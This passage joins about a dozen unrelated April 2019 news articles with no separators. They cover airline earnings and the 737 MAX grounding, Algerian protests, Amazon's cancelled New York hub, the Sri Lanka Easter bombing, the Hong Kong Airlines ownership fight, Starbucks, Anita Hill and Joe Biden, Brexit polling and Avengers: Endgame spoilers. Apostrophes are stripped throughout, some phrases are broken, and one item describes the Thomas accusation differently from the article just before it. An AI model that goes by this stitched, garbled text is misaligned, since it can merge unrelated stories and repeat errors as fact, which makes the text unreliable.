aims to have 50,000 people directly employed in its international financial services sector by 2025. A new strategy launched by the Irish finance ministry on Friday seeks to help the country become a a top-tier global location of choice for specialist firms. Though Ireland has long promoted itself as a location for such firms, in the wake of Brexit Ireland has made a noticeable push to encourage them to set up their European bases in the country. Around 44,000 people are currently employed by the sector. Over the next six years, Ireland will try to ensure that its government policy, culture and laws will support growth in financial services. The strategy will also focus on the emerging challenges related to technological developments and the talent pool in the country, as well as on ensuring that the country is recognised as a top-class location for finance. The strategy, Irish finance minister Paschal Donohoe said, has been formulated to meet the challenges and opportunities that lie ahead for the international financial services sector. Ireland has within its grasp the opportunity to be a world leader by 2025, as a global location for financial services and as a source of technological and innovation-led solutions. The strategy retains the whole-of-government approach of the previous strategy, which sees all government departments and stakeholders support the strategy. It will also see the Irish government try and create jobs in the sector outside of Dublin, the countrys capital. The Irish Central Bank said in February that it had processed more than half of the applications of the more than 100 financial services companies that wanted to either set up or expand their operations in Ireland as a result of Brexit. Barclays and Bank of America Merrill Lynch are two firms that have already expanded in Dublin. Alaska Air Slows Its Growth as It Focuses on Absorbing Virgin America Alaska Airlines has a message for investors who ask if the airline is permanently slowing its growth: Itll be on the move soon. We always said the merger with Virgin America was about growth, CEO Brad Tilden said Thursday on Alaskas first quarter earnings call. However, given our slower growth this year, some investors have asked whether thinking on this has changed. Our short answer to that is, no. We still see a lot of opportunity for profitable growth, especially in California. Alaska didnt grow at all in the first quarter, with flown capacity rising just 0.2 percent, year-over-year. Part of that could be blamed on poor weather Alaska canceled 1,100 flights in the Pacific Northwest due to a series of storms but it has also been by design. Alaska acquired Virgin America two and a half years ago, becoming the nations fifth-largest airline. But there are still some kinks to work out, and Alaska executives said they decided to slow growth as they worked to manage the combined airline. Small Growth in 2019 For the year, Alaska said it plans to grow by just 2 percent, and most of the new capacity will come not on mainline airplanes, but on regional jets. Alaska plans to grow the mainline airline by just 1 percent this year. The goal, executives said, is to focus on margins. Alaska reported operating margin of less than 3 percent in the first quarter, according to Jay Shabat, senior analyst at Skift Airline Weekly, at the lower end of the U.S. airline range. Delta, Shabat noted, recorded a 10 percent operating margin in the same period. As our margins improve, well also get back to growing the airline, albeit at a more moderate 4 percent to 6 percent annual pace that we believe is appropriate given the size of our business today, Tilden said. Executives declined to share details on where theyll put the new flights, other than that they expect to focus on California. One analyst pointed out capacity constraints in San Francisco and Los Angeles, Alaskas two main California airports, but executives said they can add flights elsewhere. Story continues We have a broader California network were going to look at as well, Chief Commericial Officer Andrew Harrison said. Alaska has bulked up recently in San Jose and San Diego. Max Deliveries Later this year, Alaska might have fewer aircraft in its fleet than expected. The airline has been planning to take its first three Boeing 737 Max aircraft soon, with one delivery slated for June, one in July, and one in October. Still, even if Boeing does not deliver the aircraft as planned it has paused deliveries indefinitely after the Federal Aviation Administration grounded the aircraft executives said they dont expect major changes to 2019 plans. Obviously, were watching the situation closely, but we dont expect much of an impact on the capacity side, CFO Brandon Pedersen said. First-Quarter Results Alaska reported net income of $4 million, roughly the same as in the first quarter last year. Its revenue per available seat mile, or RASM, a metric that measures how much money an airline makes for each seat it flies one mile, increased 2.2 percent, year-over-year. The airline said its RASM increased in nine of the 11 geographic areas it tracks. The exceptions were flights between California and Boston and New York, and flights between the West Coast and Hawaii. Several airlines, including JetBlue Airways, have reported softness in transcontinental markets, saying capacity has outpaced demand. Other airlines have also noted issues in the Hawaii market. Southwest Airlines began flying to Hawaii in March, and industry fares have fallen. Harrison said hes cautiously optimistic transcontinental pricing will improve in the second quarter. But he said it might be a while before Hawaii revenue trends turn. Im not sure thats going to get a positive unit revenue just given the capacity that came on board and the fare environment, he said. Subscribe to Skift newsletters covering the business of travel, restaurants, and wellness. Algiers (AFP) - Algerian protesters vowed Friday to keep up the pressure on the regime left behind by Abdelaziz Bouteflika, staging a tenth consecutive weekly mass rally after a string of people close to the toppled president were sacked or arrested over alleged graft. "We want this system to leave and all the thieves to be judged," said Zohra, a 55-year-old teacher who travelled some 350 kilometres (220 miles) to attend the Algiers demonstration site with her 25-year-old son, Mohamed. Hundreds of demonstrators gathered Friday outside the capital's emblematic post office headquarters, shouting: "You looted the country, thieves!" El Watan newspaper, echoing social media calls for further protests to topple the entire "system", led with the headline: "No half-revolution!" The latest demonstrations followed the sackings of a string of senior regime officials and the detention of top businessmen including the country's richest man, Issad Rebrab, over suspected corruption. Authorities apparently intent on clearing away two decades of cronyism following Bouteflika's ouster also reopened an investigation into an ex-energy minister close to the former president, state media reported Wednesday. And earlier in the week, the head of the vast state oil firm Sonatrach, Abdelmoumen Ould Kaddour, was also fired and replaced on the orders of interim president Abdelkader Bensalah. Four brothers from the influential Kouninef family, close to Bouteflika's brother Said, were also arrested Sunday over alleged non-compliance with state contracts, according to state media. - 'Mafia and fraudsters' - But protesters have yet to win one of their key demands: the departure of Bensalah himself, a member of Bouteflika's inner circle throughout his 20 years in power. They are also demanding the ouster of another key ally of the toppled leader: Noureddine Bedoui, who remains prime minister in what protesters call "a government of shame". Story continues The interim administration has pledged to hold presidential elections on July 4, but demonstrators reject any such vote overseen by Bouteflika-era officials. Protester Samir said he was against the poll. "How mafia and fraudsters can hold honest elections? We'll march until they understand," he said. The arrests come after army chief Ahmed Gaid Salah called on prosecutors to "accelerate the pace" of corruption probes into those with ties to Bouteflika's inner circle. The army has also insisted that the presidential vote take place within the timeframe set by the constitution. Some observers see the army's pressure for prosecutions against allegedly corrupt individuals as an implicit offer of a deal to protesters: punishment of key figures or in exchange for a softening of demands, especially over the presidential poll. International Crisis Group warned Friday that a stalemate was looming in Algeria as protesters and security forces "disagree on the pace and content of a political transition". "Despite repressive counter-measures, protesters showed no sign of giving in... The protests are only growing," the Brussels-based think tank said in a briefing Friday. The government "should embark immediately on a dialogue with civil society leaders accepted by the protesters" to lay out a "political transition that would serve to restore confidence and prevent an uncontrolled cycle of violence". This post has been updated. The decision by Amazon (AMZN) to pull out of a deal to build a New York City hub in Long Island City sparked controversy across the board. Opponents of the deal, most notably Rep. Alexandria Ocasio-Cortez (D-NY) and State Sen. Michael Gianaris (D-NY), celebrated the reversal, while politicians like Governor Andrew Cuomo and New York City Mayor Bill de Blasio voiced their displeasure. Bronx-born billionaire investor Mario Gabelli, who serves as chairman and CEO of GAMCO Investors, didnt call out Gianaris or fellow Bronx resident Ocasio-Cortez by name but did refer to the financially illiterates as the reason why the Amazon deal fell through. The screw up in New York City was the financially illiterates [who] didnt understand that you have to bring Amazon in, Gabelli said on Yahoo Finances The Final Round (video above). You need to create scale. You need to create vibrancy. You need to create that kind of a feeling, so that next time New York has an air pocket, theyve got a whole new wave of talent. In this Feb. 27, 2019, photo, Rep. Alexandria Ocasio-Cortez, D-N.Y., listens to questioning of Michael Cohen on Capitol Hill in Washington. (AP Photo/J. Scott Applewhite) As someone who grew up in the Bronx, he stated that he understands the virtue of New York City. Critics, including Ocasio-Cortez, derided the fact that Amazon would receive $3 billion in subsidies from both New York City and the state for opening a location in LIC. They also raised concerns that it would drive up housing costs in the area, thereby pushing out lower-income residents, and congest the local subways. When Amazon, who doesnt need the money, is squeezing the government for billions of dollars just to show up, weve got a problem, Gianaris told CNBC. However, the tax breaks would have actually been over a 15-to-25-year period. As Yahoo Finance previously reported, [Amazon] endured more than a month of city council grillings over the deal to come to Long Island City and had embarked on a charm offensive with fliers and an open letter to Queens residents touting potential benefits of the companys new location. Story continues Gabelli wasn't unhappy about the Amazon HQ2 reversal. (Photo: Yahoo Finance) One of those potential benefits was the fact that New York City would have become a new tech hub of sorts. When Amazon made its initial announcement that HQ2 would be in LIC, Apple and Microsoft both revealed that they would be expanding their presence in NYC as well. The HQ2 move would have brought at least 25,000 new jobs with it, paying an average salary of $125,000. What we were talking about with the Amazon jobs was a unique opportunity, Julie Samuels, Tech:NYC executive director, previously told Yahoo Finance. So to the extent that job growth will continue to be incremental, thats great and we want to incentivize that. But its a real missed opportunity to go from between 25,000 and 40,000 jobs to zero. Gabelli agreed and he went further. If you didnt think it was a mistake, you have to be financially illiterate, Gabelli said about the reversal. Its not the 25,000 people. Its the whole impact on psychology. Its the impact of the multiplier effect of people that come in. READ MORE: Follow Yahoo Finance on Twitter, Facebook, Instagram, Flipboard, SmartNews, LinkedIn, YouTube, and reddit. New York (AFP) - American Airlines slashed its profit forecast Friday largely due to the crisis around the Boeing 737 MAX, a somewhat more profound hit to operations and customer bookings than at other carriers affected by the jet's grounding. The US carrier estimated an overall hit of $350 million to its 2019 earnings as a result of the grounding ordered by global regulators in mid-March following two deadly crashes. That has forced the cancellation of nearly 15,000 flights and the re-accommodation of almost 700,000 customers. "That's not just our passengers," said American Airlines President Robert Isom. "It's literally thousands of our crew members that have had their work schedule altered on very short notice and that means that our reservations, customer relations and crew resources have been working nonstop and overtime to take care of our customers and team." American's hit from the MAX crisis came as the aviation industry watches for Boeing to clear several key hurdles with the US Federal Aviation Administration and other global regulators to allow the planes to resume service. On Thursday, the FAA announced it was convening a meeting of global regulators on May 23 to describe its process for ensuring necessary safety fixes are made to get the 737 MAX back in the air. That step, though keenly desired by carriers, will present its own series of challenges, including reassuring skittish consumers that the planes are safe. - Costly to rebook - But for now, US airlines are adapting to the absence of the popular aircraft, as well as to the delays in the delivery of new jets they have ordered. American Airlines, which has 24 of the MAX planes in its portfolio, said net income for the first quarter was $185 million, up 16.4 percent from the same period of the prior year, while revenues rose 1.8 percent to $10.6 billion. The US carrier, which has canceled flights on the Boeing plane through August 19, said it now expects profits this year of $4.00 to $6.00 a share, down from the prior range of $5.50 to $7.50. Story continues Executives described myriad impacts, such as rebooking customers at the last minute for flights originally booked long in advance at much lower fares. American's outlook also took a hit from higher fuel costs. Chief Executive Doug Parker said the company pushed back its target for resuming 737 MAX flights so that it could more effectively plan for the peak summer holiday season and said there is "a lot of certainty" that the FAA will certify the plane for service "well before" August 19. "Obviously, we're not happy about this issue, but no one is," said Parker, adding that the company, like peers, had not discussed any compensation from Boeing at this point. "All of our efforts at this point are working to get the airplane recertified and flying again," he said. "Boeing is a good and long-time partner and we'll work through that privately." - Most cancellations since 9/11 - American Airlines earnings came a day after the predominantly-domestic Southwest Airlines also highlighted the impact of the MAX groundings, along with weather and labor-related disruptions as factors that led to its greatest number of flight cancelations since the third quarter of 2001 after the 9/11 terrorist attacks. But 97.5 percent of customers in this case have arrived at destinations on the scheduled day, the result of "very solid" customer service, said Southwest Chief Operating Officer Michael Van de Ven. Southwest has 34 MAX planes in its current fleet and is targeting August 5 as a resumption date. The company also plans another 41 MAX deliveries this year, although executives indicated some of the deliveries could be pushed into 2020. Chief Executive Gary Kelly said the company will stick with a plans to add some 250 of the MAX planes to its fleet through 2026, dismissing questions about whether it would shift to Boeing rival Airbus. "We have no intention of doing anything different in the near-term whatsoever," he said. "We have no plan to do anything other than grow our fleet with the MAX." Southwest is beginning to focus on its messaging to the public as it looks ahead to resuming flights with the MAX. Surveys suggest some customers are not willing to fly on the planes, at least in the near-term. "We're doing a lot of work understanding what our customers perceptions are," said the airline's President Thomas Nealon. "But there's more work to be done." Airlines are working closely with their pilots as they look ahead to resuming flights and expect to enlist pilots in testifying to plane safety when the time comes. Shares in American closed down one percent on Friday while Southwest lost 0.7 percent. YANGON, April 26 (Reuters) - A U.S. citizen facing narcotics charges in Myanmar had received official permission to establish a hemp plantation in the former royal capital, Mandalay, a lawyer for the American said on Friday. After images of a field of cannabis plants at the plantation spread on Myanmar social media, police raided the 20-acre site on Wednesday and detained John Fredric Todoroki, 63, and two Myanmar nationals under an anti-narcotics law, according to a statement from anti-drug police. Mandalay-based lawyer Thein Than Oo told Reuters the arrests were the result of a misunderstanding, and that Todoroki had been up-front with local authorities about the project to set up "industrial hemp production." "This plantation is an open-air plantation. There's no secret," said Thein Than Oo. Reuters has reviewed a letter signed by a Mandalay regional official granting a company named IIIM permission to grow hemp, produce oil, and to dry and package hemp for export in an industrial zone. Todoroki was doing research at the plantation for IIIM, Thein Than Oo said. Reuters was unable to reach representatives of IIIM. Hemp refers to a cannabis plant with low levels of tetrahydrocannabinol - one of the psychoactive chemicals in marijuana - that is grown for its fibers or for an oil believed to provide health benefits. It is unclear whether Myanmar law distinguishes hemp from marijuana. Courts in Myanmar regularly hand down lengthy jail sentences for possession of the narcotic. "There's never been a case like this in Myanmar," Thein Than Oo said. Police said they discovered equipment, chemicals and nearly 350,000 plants at the plantation, along with 1,804 grams of "marijuana oil" and 270 kg of "marijuana." Zaw Win, a local administrator, said he should have received a copy of any permission letter for the plantation, but had not. "Police are now investigating according to police procedure," he said. Story continues Lawyer Thein Than Oo said Todoroki had contacted him before his arrest out of concern the social media posts would draw the attention of authorities. Thein Than Oo had set up a meeting between Todoroki and the chief minister of Mandalay to explain the project, he said, but the American was arrested before the meeting could take place. Reuters was unable to reach officials in the Mandalay regional government on Friday. Todoroki had been remanded in custody and was in hospital receiving treatment for heat stroke on Friday, but police would not allow him to speak to a reporter by phone, said the lawyer. "In two weeks he must be brought to the court" along with the two Myanmar nationals, the lawyer said. A second American also wanted in the case was Todoroki's son, who was not currently in Myanmar, Thein Than Oo said. (Reporting by Simon Lewis, Thu Thu Aung and Poppy McPherson; Editing by Nick Macfie) Americans New Math: 2 Dozen 737 Max Jets Equals a $350 Million Hit American Airlines expects to take a pre-tax earnings hit of $350 million this year because it cannot fly its two dozen Boeing 737 Max 8 airplanes and thats assuming the jets return to service by mid-August, as American and its competitors hope. At first glance, this seems like an oversize number. Counting regional jets, American has more than 1,500 airplanes, and the Max accounts for a relatively small percentage of its capacity. American has an average of 6,700 daily flights, and in the second quarter, its canceling 115 each day through August 19 because it cannot fly the Max. But Derek Kerr, Americans chief financial officer, said the math is more complicated. The financial impact is disproportionate, as most of the revenue from the cancellations is lost while the vast majority of the costs remain in place, Kerr told analysts Friday on Americans first quarter earnings call. For the first quarter, American reported net profit of $185 million, up from last years $159 million. Its passenger revenue per available seat mile, which measures how much money an airline makes for each seat flown one mile, increased 0.6 percent. The Max received most of the attention at American, but it was not the airlines only first-quarter hiccup. In March, American grounded 14 of its Boeing 737-800 aircraft when it discovered shoddy work by an airline contractor on the planes interiors, including overhead bins. For that problem, American canceled 940 flights. American also reminded analysts fuel prices have been increasing. The airline said it expects its fuel bill to increase $650 million for the year, compared to what it planned for three months ago. Bringing the Max Back American has canceled all Max flights through through August 19, about two more weeks than Southwest Airlines. Like Southwest, the airline is optimistic the FAA could allow the planes to fly slightly earlier. If it does, American will use the airplanes as spares, substituting them when other flights are delayed or canceled. They would help with operational reliability during the busy summer travel season. Story continues American has extended its Max cancellations already at first it only dropped Max flights for a few weeks but the airline is now confident about August, executives said. We said to the FAA and Boeing, we need like 95 percent certainty that what we will be selling is what we are flying, CEO Doug Parker said. We believe August 19 is a date that give us a lot of certainty and that gives our customers certainty. Eventually, American and other airlines likely will seek compensation from Boeing. But Parker said nothing is imminent. At the appropriate time we will talk about what this has done to American, Parker said. Boeing is a good and longtime partner, and well work through that privately. Changes in Growth Plan With fewer aircraft, American will not grow much this year. In the second quarter, it will increase capacity by just 0.7 percent, while for the full year it will grow by 2.5 percent. Still, American is not changing plans to grow what it calls its most profitable hub Dallas/Fort Worth International Airport. American soon will add 15 gates there, enough to add about 100 daily departures. American already has started selling tickets on 23 new routes. It is also increasing frequency on existing routes. Normally, it takes time for new routes to make money. But American is so strong in Dallas/Fort Worth it will have roughly 900 daily departures soon that the airline expects most of the new flights will be fast winners. The early results are encouraging as both bookings and yields are coming in at rates higher than the system average, American President Robert Isom told analysts. Subscribe to Skift newsletters covering the business of travel, restaurants, and wellness. NEGOMBO, Sri Lanka (AP) Nearly a week later, even after the cleaners have come through, the blood can still be seen clearly. The statues of Jesus and the saints are still speckled with fragments of shrapnel. The smell of death is everywhere, though the bodies are long gone. Yet somehow, there's a beauty to St. Sebastian's, a neighborhood church in a Catholic enclave north of Sri Lanka's capital, where a man calmly walked in during Easter services with a heavy backpack and blew himself up. You can see the beauty in the broken stained-glass windows. It's there as the sun shines through the roof's gaping holes. It's there in the little statues that refused to fall over, and despite the swarms of police and soldiers who seem to be everywhere now in the streets of the seaside town of Negombo. For more than 50 years, St. Sebastian's had been the scene of weddings and baptisms, of Christmas celebrations and countless Masses. It's still not clear exactly how many died Sunday at the Negombo church, but perhaps nearly half of the roughly 250 people killed in the Easter bombings that targeted churches and high-end hotels. Authorities say a once-obscure militant Muslim group carried out the attacks. In a largely Buddhist country, Negombo is mostly Catholic town with dozens of churches. For days, it has been in mourning. St. Sebastian's walls are now blackened near where the bomber stood when he killed himself, spraying shrapnel in every direction. From inside, you see destruction wherever you look. But from outside the church, if you ignore the police tape and if you're standing far enough away, you might think nothing had happened there at all. You might think St. Sebastian's is a place known only for weddings and baptisms, for Christmas celebrations and countless Masses. By Jennifer Hughes and Julie Zhu HONG KONG, April 26 (Reuters) - Shareholders summoned by Hong Kong Airlines this month for a meeting were greeted with some shocking news: the airline needed at least HK$2 billion in fresh funds or it would lose its operating license. The carrier had lost HK$3 billion ($382.54 million) in 2018, they were told, and an infusion was crucial, according to people present. Dialed in, but silent for the hour-long meeting on April 1, were executives for Hainan-based HNA Group,, which holds 29 percent of the airline's shares. Investors were blunt about HNA's role in the company's troubles, according to people at the meeting - including accusations that it was siphoning off cash, which the conglomerate denies. "There's no point raising fresh capital if we cannot solve the problem of (a) major shareholder pumping out HKA's assets," said Zhong Guosong, who holds 27 percent of the shares and is vying for chairmanship of the company. Another shareholder echoed his views: "This is Hong Kong, not Hainan." In the last week, drama from the call has spilled into the open as HNA and a rival group battled for control of Hong Kong Airlines' chairmanship. The airline declined to comment on shareholders' activities and said its operations "remain normal." The infighting illustrates the convoluted nature of HNA's holdings around the world, which range from real estate to banks and are often divided among opaque, related entities. On paper, HNA gave up control of Hong Kong Airlines two years ago just as it began selling off assets collected in a $50 billion worldwide acquisition spree. But the carrier has close ties with several HNA affiliates. "HNA's shareholding structure and how they structure investments has always been very complicated, and the HKA case isn't any different," said David Yu, adjunct professor of finance at New York University, Shanghai. "The issue now is that there is some distress at the parent group, and this is obviously having implications on the underlying companies, including HKA." Story continues HNA TANGLE Since Beijing in 2017 began cracking down on Chinese conglomerates' rapid debt-fueled global expansions, HNA has sold about $26 billion in assets, according to Dealogic data and Reuters calculations. Disposals include control of the Radisson hotel group; a quarter stake in Hilton Hotels; prime property in New York, Sydney, Shanghai, San Francisco and Hong Kong; regional Chinese airlines; a stake in aircraft lessor Avolon; and half of its stake in Deutsche Bank. But the prices HNA has sought and the complex structures, loans and other business links that bind its holdings have made unwinding its investments difficult. HNA's wider Hong Kong interests are a case in point. This week, HNA-controlled CWT International said lenders had seized assets, including U.S. property and its Singapore-based commodity trading and logistics unit, because it failed to repay a HK$1.4 billion ($178 million) loan. HNA said that it was monitoring the situation, but that it was a matter for CWT and its creditors. Yet HNA units own 51 percent of CWT's shares, and each of CWT's executive directors has ties to other HNA businesses. CWT's co-chairman, Mung Kin Keung, is a shareholder in Hong Kong Airlines. HNA's involvement with the airline is just as complicated. The conglomerate took control of CR Airways in 2006 and renamed it Hong Kong Airlines. In July 2017 it cut its stake, according to filings, by selling 34 percent to Chinese private equity group Frontier Investment Partners. According to Hong Kong Airlines' 2017 accounts, seen by Reuters, the airline held shares in four unlisted HNA affiliates, worth $367 million at the end of 2017, and had loaned $300 million to two other HNA firms. That year, the airline's trade receivables - money owed to it but not collected - jumped 50 percent even as revenue rose only 11 percent. Of those payments due, the amount HNA companies owed the airline more than doubled to HK$1.3 billion, or 73 percent of receivables. Zhong is closely linked with HNA as well, having been a director of the airline for almost four years until August 2018. Since 2017, he has also been chairman of Hong Kong Express, Hong Kong Airlines' low-cost sister, which HNA recently agreed to sell to Cathay Pacific for HK$4.93 billion. Cathay's announcement of the deal contained a warning that an HK Express shareholder planned to contest it. That shareholder is Zhong, according to two sources with direct knowledge of the issue. They declined to be identified because they were not authorized to speak to the media. In a further sign that the relationship between Zhong and HNA had soured, court papers show that HNA in December sued the company through which Zhong holds his 27 percent stake in the airline, seeking repayment of a HK$854 million debt from 2010. A representative for Zhong did not provide comment. CONTROL DISPUTES Since the April 1 meeting, Frontier has aligned itself with Zhong, working to appoint him chairman of the airline as part of efforts to seize control and investigate its financial ties with HNA. Late last week they won an injunction that blocked directors and executives from removing or destroying the airline's documents. That followed a week in which both Zhong and airline executive Hou Wei - still listed on its website as chairman - claimed control and fought over who had access to the company's headquarters. Adding to the confusion, a group called Grand City Investment Capital Limited this week said it owned the Frontier stake after a transfer dated April 11. A spokesman for Grand City declined to discuss his company's ownership. Frontier disputes Grand City's claim to the stake. Frontier and Zhong have also accused HNA of "embezzlement of HKA assets and serious financial misappropriation by HNA Group parties" - accusations that HNA has denied. They and other shareholders are still demanding access to the airline's 2018 accounts and details of how it lost so much money before they address its HK$2 billion capital shortfall. Amid the court orders and competing statements uncertainty remains over who is in charge - although both sides have gone to lengths to ensure the airline keeps operating normally. "There are so many moving parts that corporate control is under dispute because the changes are happening too rapidly for the company to organize coherently," said Andrew Collier, managing director of Orient Capital Research, which focuses on China. He described HNA as "a poster child for overexpansion of China's worst conglomerates." He added: "Because there is always a lack of transparency at HNA, this makes it twice as hard to figure out what the nature of the dispute is." ($1 = 7.8424 Hong Kong dollars) (Reporting by Jennifer Hughes, Julie Zhu, Kane Wu and Alun John; Additional reporting by Shellin Li and Jamie Freed; Editing by Gerry Doyle) (Reuters) - Initial optimism over first-quarter results from Starbucks Corp was waning fast on Wall Street on Friday, as analysts questioned the longer-term prospects of its new sales push given subdued overall customer traffic numbers especially in China. The company on Thursday beat brokerage estimates for quarterly same-store sales on the back of demand for its new Cloud Macchiato, Matcha tea and cold brews in the United States. However, BTIG's Peter Saleh was one of a number of sector analysts who said while customers forking out for higher-priced new drinks had helped drive growth in same-store sales, "anemic" traffic at cafes remained a concern. He and others pointed to a 1 percent decline in footfall at cafes in the Chinese market, viewed as crucial to the chain's growth for the foreseeable future. More broadly, transaction numbers, the substitute analysts use for customer traffic, were unchanged in all three of the company's global regions. Shares in the company, which hit a record high after the results on Thursday, fell 1 percent in morning trade. "We remain cautious given near-term headwinds surrounding China, including cannibalization, increasing competition (and) a slowing economy," Wedbush analyst Nick Setyan said. Starbucks has also poured money into beefing up its delivery network in China as it battles with local startup Luckin Coffee, whose speedy growth led it to file for an IPO in the United States earlier this week. New menu items and partnerships with delivery services, the heart of the company's strategy to win back customers lost to artisanal coffee shops and cheaper fast-food rivals, did help Starbucks' sales in its home market. However, analysts said growth in China may continue to be subdued. Wells Fargo analyst Bonnie Herzog said she expects store expansion in China to take priority over comparable sales growth. She downgraded her rating on Starbucks' to "market perform" from "outperform", arguing that the company facing tough sales comparisons later on in 2019 from last year and the current rich valuation of shares meant the stock had limited room to rise. Story continues "Investors will be hesitant to invest new money in a stock with a topline that, while still strong, is unlikely to meaningfully accelerate," Herzog said. Still, the company's solid same-store growth in the United States, improving profit margins and a lower tax rate for the rest of the year led at least 6 Wall Street brokerages to raise their price targets on the stock to as high as $81. 11 of 29 brokerages rate Starbucks "buy" or higher, 17 "hold" and 1 "sell" or lower. Their median price target is $75. (Reporting by Uday Sampath in Bengaluru) Anita Hill - the woman whose treatment during Justice Clarence Thomas Senate confirmation hearings Joe Biden has said he regrets - says she spoke with the former vice president this month in a phone call that left her feeling "deeply unsatisfied." She said she's unconvinced that he accepts the harm he caused her when he presided over a congressional hearing during Justice Thomas' Supreme Court confirmation process in 1991. In an interview with The New York Times published Thursday, Ms Hill said: "I cannot be satisfied by simply saying I'm sorry for what happened to you. I will be satisfied when I know there is real change and real accountability and real purpose." Ms Hill also said she cannot support Mr Biden until he takes responsibility for his actions. She told the newspaper shes "troubled" by allegations that he touched women in ways that made them uncomfortable. Mr Biden was chairman of the Senate Judiciary Committee during Hill's 1991 hearing, where she testified Justice Thomas had sexually harassed her. The presidential hopeful has said he wishes he could have avoided questioning by some male lawmakers that he called "hostile and insulting." To this day I regret I couldnt come up with a way to give her the kind of hearing she deserved, he said last month, echoing comments he delivered last fall as the nation debated sexual misconduct allegations against Brett Kavanaugh amid his Supreme Court confirmation hearing. I wish I could have done something. Ms Hill said Mr Biden needs to give an apology to the other women and to the American public because we know now how deeply disappointed Americans around the country were about what they saw during the hearings. There are women and men now who have just really lost confidence in our government to respond to the problem of gender violence, she added. Mr Bidens deputy campaign manager Kate Bedingfield confirmed the former vice president called Ms Hill, telling the Times in a statement, They had a private discussion where he shared with her directly his regret for what she endured and his admiration for everything she has done to change the culture around sexual harassment in this country. The Associated Press contributed to this report In an effort to preempt the criticism he was sure to face after announcing his presidential bid, Joe Biden reached out to Anita Hill earlier this month to express his regret for how she was treated during the Clarence Thomas confirmation hearings, but failed to win ameliorate Hills concerns about his commitment to gender equality. I cannot be satisfied by simply saying, Im sorry for what happened to you, Hill, now a professor at Brandeis University told the New York Times in a Wednesday interview. I will be satisfied when I know there is real change and real accountability and real purpose. Biden, as Chairman of the Judiciary Committee, presided over the hearings in which Hill accused Thomas of sexually assaulting her. The former Delaware lawmaker has since been heavily criticized for refusing to call witnesses who say they could corroborate Hills story and for allowing lawmakers to speak derisively to the witness. As Hill sees it, Biden must now prioritize addressing gender violence if he is to atone for his role in the 1991 hearing, which, she argued, created a precedent that allowed for Justice Brett Kavanaugh to be confirmed to the Supreme Court despite allegations of sexual assault. The focus on apology, to me, is one thing, Hill said. But he needs to give an apology to the other women and to the American public because we know now how deeply disappointed Americans around the country were about what they saw. And not just women. There are women and men now who have just really lost confidence in our government to respond to the problem of gender violence. Bidens campaign has refused to comment on the specifics of his call with Hill, but he has recently expressed regret that she was not treated fairly during the hearing. She paid a terrible price, he said at an event in New York City last month. She was abused through the hearing. She was taken advantage of. . . . I wish I could have done something. The hearing she deserved was a hearing where she was respected. More from National Review London (AFP) - The pro-EU camp in European elections in Britain next month is fragmented, while the Brexit Party is topping opinion polls by picking up votes from Britons frustrated by delays in leaving the EU. As he presented his party's candidates in London on Friday, Liberal Democrat leader Vince Cable said he regretted there was no "common platform with the other Remain parties to stop Brexit. "We should be standing together. The millions of people in this country who voted Remain would expect us to stand together," said the former government minister. In a 2016 referendum, 52 percent voted to leave the European Union. The Brexit date was initially set for March 29 but has been delayed twice since then because MPs cannot agree on the terms of departure. The ruling Conservatives and the main opposition Labour are broadly in favour of implementing Brexit but are deeply divided internally over strategy and smaller parties on both sides of the debate are coming to the fore. The Liberal Democrats are currently only fifth in the latest YouGov poll unveiled last week, with 9 percent of voting intentions. The figure is about the same as other anti-Brexit parties with the Greens on 10 percent and Change UK on 8 percent, the poll showed. The three parties, which all support a second Brexit referendum with an option to remain in the EU, would easily beat the Brexit Party's 23 percent if they united in an alliance. But newly-formed Change UK, which is made up of former Conservative and Labour MPs, has turned down a partnership offer from the Liberal Democrats. "Britain's newest political party has put vanity before realism," wrote Philip Collins, a Times columnist and former adviser to Labour prime minister Tony Blair. "Perhaps Change UK will do well anyway but there's a chance its vote will scatter. For a fledgling party, that is a risk it should try to avoid," Collins said. Labour were on 22 percent and the Conservatives on 15 percent in the same poll. Story continues - Split 'not a bad thing' - Change UK has scored some successes, with 3,700 people applying to be MEP candidates for it. Among them is Rachel Johnson, a prominent journalist and TV personality who is also the sister of former foreign minister and Conservative MP Boris Johnson. Anand Menon, European politics progressor at King's College London, said Change UK going it alone was "a sensible strategy" that would allow it to exist as an independent party and gain visibility. Asked about the splits in the anti-Brexit camp, Menon said the parties "would probably get fewer seats than they would have got if they had done a unified campaign but it might conceivably increase the number of votes". "If your ambition is to make the vote share as high as possible so you can signal that the British people would vote remain in another referendum, being split is probably not a bad thing," he said. But Menon said the Brexit Party had launched "a lot more effectively" than Change UK. The Brexit Party's leader Nigel Farage is "perhaps one of the most influential politicians of our generation," he said. Farage, then head of the UK Independence Party, won the last European elections in 2014 -- a victory that helped push then prime minister David Cameron into holding a referendum on EU membership. But Menon said it remains to be seen if voters come out in significant numbers as Britons "traditionally do not care" about European elections. And, after all, any MEPs that are elected may only sit in the European parliament for a few short weeks before Britain leaves the bloc. Warning: This post contains spoilers for Avengers: Endgame. When Thanos gathered the Infinity Stones so he could snap his fingers and destroy half of all life in the universe in Avengers: Infinity War, many superheroes disappeared. Despite the initial shock, few fans thought they were actually gone for good. After all, characters like Black Panther and Spider-Man had to return for scheduled solo sequels and the future of the Marvel Cinematic Universe. And indeed, when Avengers: Endgame jumps forward five years after the events of Infinity War, the Avengers have to come up with a way to bring their friends back to life. They figure out how to travel back through time and collect the Infinity Stones for themselves. Hulk uses them to bring back everyone who disappeared half a decade prior just as Thanos jumps forward in time himself and attacks Avengers headquarters. Luckily, all of their dusted compatriots have returned and the group defeats Thanos and his minions. Their heroics, which are complicated by the mechanics of time travel, mess with the already confusing Marvel timeline: As the Avengers change the past, new, parallel universes branch off, creating new spinoff possibilities for once-dead characters. And, of course, their mission involves some sacrifice real sacrifice. Several of the original Avengers die in their mission to bring back their disappeared fellow heroes. Heres everyone who is dead like, really dead alive, and resurrected at the end of Avengers: Endgame. Still from 'Avengers: Endgame' featuring Tony Stark/Iron Man (Robert Downey Jr.). | Film FrameMarvel Studios 2019 Heres who died for real this time in Avengers: Endgame Tony Stark: Tony Stark (Robert Downey Jr.) sacrificed himself in order to save the universe at the end of Avengers: Endgame. He uses all the Infinity Stones to wish Thanos (Josh Brolin) and his army out of existence, but exerts so much strength that he dies in the process. The movie ends with Tony Starks funeral, and Captain America (Chris Evans) returns all the Infinity Stones to the places in the timeline where the Avengers stole them from. Nobody will be using the stones to bring Tony back. Story continues Still from 'Avengers: Endgame' featuring Black Widow (Scarlett Johansson) and Hawkeye (Jeremy Renner). | Film FrameMarvel Studios 2019 Black Widow: When Black Widow (Scarlett Johansson) and Hawkeye (Jeremy Renner) go to Voramir, they learn from Red Skull that they will have to sacrifice something they love in order to attain the Soul Stone. After an extended fight over which one of them will make the 